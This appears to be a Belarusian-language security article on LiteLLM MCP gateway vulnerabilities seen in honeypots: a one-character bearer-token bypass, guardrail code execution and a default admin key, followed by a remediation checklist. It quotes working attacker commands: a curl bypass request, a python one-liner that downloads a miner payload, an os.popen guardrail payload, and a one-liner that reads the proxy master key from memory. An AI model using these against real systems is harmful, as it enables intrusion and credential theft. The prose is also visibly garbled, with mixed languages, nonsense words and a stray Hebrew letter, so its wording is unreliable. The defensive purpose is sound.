Як bearer-токен з аднаго сімвала адкрыў MCP-шлюз LiteLLM

За перыяд 90 дзён кампанія Wiz Research адчыняла фальшывыя серверы, створаныя на адпаведнасць рэальным AI-інструментам, такім як LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI і Node-RED, і фіксавала, хто прабаваў з’явіцца. Рэальныя хакеры дאжналі да сервераў. Ключовым нарадкам не быў знаходжэння „zero-day“ атакі. Гэта была памылка ў працэсары каштовання памылак у протаколе Model Context Protocol (MCP) дапамогай LiteLLM, якая перакладвала „Я не впішоў гэты токен“ на „Гэты токен у парадку“. Дастатньва было токена дужоўкі, які складаўся з аднаго сімволу, каб прыняць доступ. LiteLLM — популярны дапамогай, які дазволяе прыладам веста кантакты з кальком постачальнікаў модэляў праз адной точкі выходу, таму команды, якія імі ўжоўцуюць, должны выдзеліць дзесяць хвілін на адпрацоўку гэтага пытання.

Абходжэнне за дапамогою адного сімвола

Шкода фіксуецца як CVE-2026-59822. Канцэнтр пункт MCP аплікацыі LiteLLM прызначаны для пераканальвання токена Bearer пры выходзе на кожны сервер MCP, з якім паў’язана арганізацыя, такі як Jira, Slack, внутранія базы дадзеных і праграмы CI/CD. У апавядкованай версіі коду токен, які не працаваў пасля стандартнай пераканальвання аплікацыяй LiteLLM, спрычыніў код 401; код зафіксав гэтую памылку і вернуў порожняй об’ект аўтэнтыфікацыі. Порожній — не значыць адмова; гэта означае, што аўтэнтыфікацыя здабытая, але не для конкрэтнага корыстніка, і шар MCP прыняў гэта.

Запіт, які атакавальнікі аправілі, быў максымальна складным з паводзячыхся запітоў:

# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models

Калі у адыяце быў загаловак mcp-session-id, значыла сеанс быў ачыты, існаваў доступ да кожнага зінародка MCP, да якого мог прыступіць праксі, але не існавало валідных крантэнацый. Ханіпоты фіксавалі працэс з’явлення прабаў, а CVE быў даданы ў спіс вядомых выкорыстаных слабасцей CISA.

Ад ачытага сеансу да крыптамайнера

Ачыты сеанс MCP сам по сабе быў вельмі небяспечны, але зловеры ўжо і такі сеанс выкорыставалі. Wiz задокументаваў спосаб абходу, які прыводзіў да CVE-2026-42271 — бага з вводам команд у тэстовых і настройковых канцэнтрахах MCP, дзе спецыяльна створаная настройка сервера запускала небяспечныя падпроцесы. Спосаб быў просты: зарэгіструваць фальшывую настройку MCP, прычыніць яе завантажыць і запустыць крыптамайнер, а пасля выдаліць каталог зберагання, ўнаследке чаго просты каманды ls нічога не паказваў. Тыповы крок завантажэння выглядаў так:

python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"

Часта частка гэтых дзеянняў была связана з групай хакераў Qilin, якія выкарыстоўваюць шпіяўскі праграма. Спосабы аховы ад выявлення маюць большое значэнне, чым номеры CVE. Апараты для майнінгу былі розмешчаны ў падкаталогу /tmp/.dbus-cache/, бінарныя файлы былі перайменаваны на такія назвы, як unicorn, а ў аднай з кампаній носільны фрагмент праграмы быў размешчаны ў каталозе /app/data/.claude/, структура якога падабілася на каталог налашоўкаў Claude Code, ў рэзультаце чаго гэта выглядала як звычны інструмент, а не як пранікненне.

Другі баг: выконанне коду праз захоўныя механізмы

У LiteLLM была адзінока, таксама серьзная проблема, CVE-2026-59821, у спецыяльных механізмаў захавы. эта функцыя дазволяе адміністратарам завантажваць фрагменты коду на Python, якія пераглядаюць прыходзячыя запіты. Канцэнтры завантажэння компілявалі і выкананлі гэты фрагмент за дапамою exec(compile(...)), залішаючы __builtins__ без змян і дазволяючы будзь-яе імпортаванне. Такім чынам, адміністратарская сесія, або сесія без аўтэнтыфікацыі, як опісана далей, могла зарэўістраць фальшывы механізм захавы, напрыклад:

import os
_cmd = os.popen('id').read().strip()

і вылучаець рэзультаты каманды знову ў поле block-reason пасляэйных адпаведзей. Версія 1.82.0 выправляе гэта, прымушаючы выкорыстоўваць ролю адміністратара на канцах сервера guardrail і адмахваючы __builtins__ пры компіляцыі. У старэйшых версіях патчаванне ёсць крайняя неабходнасць, адколі наступныя проблемы толькі пагаршуюць сітуацыю.

Стандартны варыант, які дазволіў гэта функцыянале працаваць

Тое, што прыменяе гэты случай да інцыдэнту, а не да звычайнаму патчу: без заданага галоўнага кляча, LiteLLM раней атрымала кожнаго вызывальніка як PROXY_ADMIN. Гэта не было толькі чытальным або обмежаным доступам. Цэ быў паволны адміністрацыйскі доступ, укладзены ў параметры guardrails, і багато варыянтаў запуску ніколі не задавалі кляча. Калі дзеяннікі сканавалі публічныя экземпляры, прыбліжна аднаго з дзесяці (9,6% з 3 074) яшчэ выкарыстоўвалі стандартны кляч sk-1234 або ўзагалі нічога не перакантролювалі. Да гэтага дадаецца абхілешчанне MCP і баг у выконанні guardrails, і такім чынам існавалі калькі незалежных, простых спосабоў прайсці да адной машыны.

Пошук памяці, а не файлаў

Wiz называе наступны крок „AI-native post-exploitation“, і тая частка, якая стосуецца AI, — гэта тое, што шукалі зловмеснікі пасля таго, як атрымалі права на машыну. Яны нацеліліся на памяць выконванага процэсу, а не на файлы на дыску:

python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"

Гэты адно рэчыце чытае галоўны ключ проксі працэса з памяці без адносу да дыска. Пасля чаго зловмешчыкі выявлялі шляхі канфігурацыі, такія як /app/litellm_config.yaml і ~/.litellm/config.yaml, выявлялі, якія мадэлі належаць да задньего канцэлара, і выбіралі цялі на адпаведнасць таму, да чаго мог прыступіць проксі. Такі шлюз ёсць цэннейшым рэсурсам, чым звычайны сервер аплікацый. Даныя з Wiz telemetry паказалі, што адзін проксі часта мае актуальныя ключы для OpenAI, Anthropic, Azure OpenAI і Gemini адночасова, таму адна толькі чытанне з памяці адкрывае доступ да чатырох прадаўцоў.

Спіс пераканальнай перапалні заместо номераў CVE

1. Пераканайце версію. LiteLLM 1.84.0 або новейшая выправляе проблему абходу MCP, а 1.82.0 або новейшая — баг у выкананні захоўнічных мера. Калі вы астаеце позаду ў обох аспектах, запланаваце час на апдэйт.

Паказваце, чы існуе справжняя галоўная кантрольна ключ. Яна не павінна быць sk-1234 або порожней. Заўважкайце echo $LITELLM_MASTER_KEY і пераканаецеся, што цэлком не ўвісены стандартны значэнне з інструкцый з давняго часу.

Адправіце свой сопны токен Bearer да вашага канцачнага пункта MCP, так само, як гэта зрабілі нападчыкі. Рэзультат 200 з ідэнтыфікаторам сесіі заместо 401 значыць, што вы застаецеся вразлежным незалежна ад версіі, таму пераканаецеся, што патч застосаваны.

Працаваце над тым, хто володзіць PROXY_ADMIN. Пасля застосавання патча стандартная роль стае INTERNAL_USER, але існуючыя рэалізацыі не пераводзяцца у ніжшую версію автаматычна, таму ручная пераглядзіце распадзел ролей.

Абмежыце тое, да чаго можа дасягнуць серверы MCP. Калі адны набор крантэнцыйяў дазволяе шлюзу з’ясоўваць інформацыю з Jira, Slack, базы дадзеных і CI, то гэта і ёсць справжній фактар паўтарэння атак. Скарозьце гэтыя можлівасці за дапамою правіл IAM з мінімальнымі прывілеямі і правіл выходу, незалежна ад таго, чы робіліся вы патчы.

Сачыце за працэсам выканання, а не толькі за логамі. Атакі з вікорыстаннем ханіпота выражаліся ў незвычайнасцях у структуры працэсаў, напрыклад, калі Python-проксі ствараў curl або python3 -c, што частая справа, але рэдкая ў логах доступу.

Шлюз на аднойчынных нейронных сетках павінен адносіцца як да справжняй калодзі крантэнцыйяў, а не як да простага проксі, установленага раз і забутага. Блакберг у апрацоўцы автанаціі не быў чымсь экзотычным — гэта была практыка выкарыстоўвання конструкцыі try/except, якая паглотала неправільную памылку, і хакеры ужо выкарыстоўвалі гэта ў рэальных атаках.